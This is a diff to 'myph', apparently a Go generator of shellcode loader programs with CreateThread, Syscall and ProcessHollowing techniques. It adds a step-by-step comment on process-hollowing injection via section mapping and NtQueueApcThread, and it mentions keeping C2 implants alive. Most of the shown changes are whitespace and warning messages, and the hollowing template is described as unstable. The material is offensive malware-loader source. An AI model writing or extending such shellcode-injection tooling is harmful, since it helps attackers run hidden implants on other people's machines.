myph

diff --git a/cli/types.go b/cli/types.go
@@ -15,7 +15,7 @@ const (
 	EncKindC20 encKind = "chacha20"
 
 	CRT              technique = "CRT"
-    SYSCALL          technique = "Syscall"
+	SYSCALL          technique = "Syscall"
 	CreateThread     technique = "CreateThread"
 	ProcessHollowing technique = "ProcessHollowing"
 )

diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -5,11 +5,25 @@ import (
 )
 
 /*
+    1. create Process in suspended state
+    2. create new section in suspended process, length of which is our shellcode
+    3. copy shellcode to section
+    4. map out new section using NtMapViewOfSection
+    5. unmap the section immediately
+    6. NtQueueApcThread
+    7. set thread information
+    8. resume Thread, enjoy life
+
+
    For more information, feel free to read this:
    https://www.blackhat.com/docs/asia-17/materials/asia-17-KA-What-Malware-Authors-Don't-Want-You-To-Know-Evasive-Hollow-Process-Injection-wp.pdf
 */
 
 func GetProcessHollowingTemplate(targetProcess string) string {
+
+	println("[!] Please be aware this is still a work in progress and unstable.")
+	println("Maybe you could use another technique instead...? I hear the CreateThread one is pretty good...\n")
+
 	return fmt.Sprintf(`
     package main
 
@@ -66,9 +80,6 @@ func loadProcess(target string) *syscall.ProcessInformation {
 		&si,
 		&pi)
 
-    // defer syscall.CloseHandle(pi.Thread)
-	// defer syscall.CloseHandle(pi.Process)
-
 	if err != nil {
 		panic(err)
 	}
@@ -82,20 +93,6 @@ func ExecuteOrderSixtySix(payload []byte) {
     process := loadProcess("%s")
 
 
-    var hShellcode
-    sectionSize := int64(len(shellcode))
-    _, _, _ = ZwCreateSection.Call(
-        uintptr(unsafe.Pointer(&hShellcode)),
-        SECTION_ALL_ACCESS,
-        nil,
-        uintptr(unsafe.Pointer(sectionSize)),
-        PAGE_EXECUTE_READWRITE,
-        SEC_COMMIT,
-        nil,
-    )
-
-
-
     /* block, so that process does not die (useful for C2 implants) */
     select {}
 }

diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -1,13 +1,15 @@
 package loaders
 
 import (
-    "fmt"
+	"fmt"
 )
 
 func GetSyscallTemplate(targetProcess string) string {
-    _ = targetProcess // unused in this technique
+	_ = targetProcess // unused in this technique
 
-    return fmt.Sprintf(`
+	println("[!] Please note that shellcode will not be injected into new process with this method")
+
+	return fmt.Sprintf(`
 package main
 
 import (

diff --git a/loaders/utils.go b/loaders/utils.go
@@ -12,8 +12,8 @@ func SelectTemplate(templateName string) func(string) string {
 	case "ProcessHollowing":
 		return GetProcessHollowingTemplate
 
-    case "Syscall":
-        return GetSyscallTemplate
+	case "Syscall":
+		return GetSyscallTemplate
 
 	}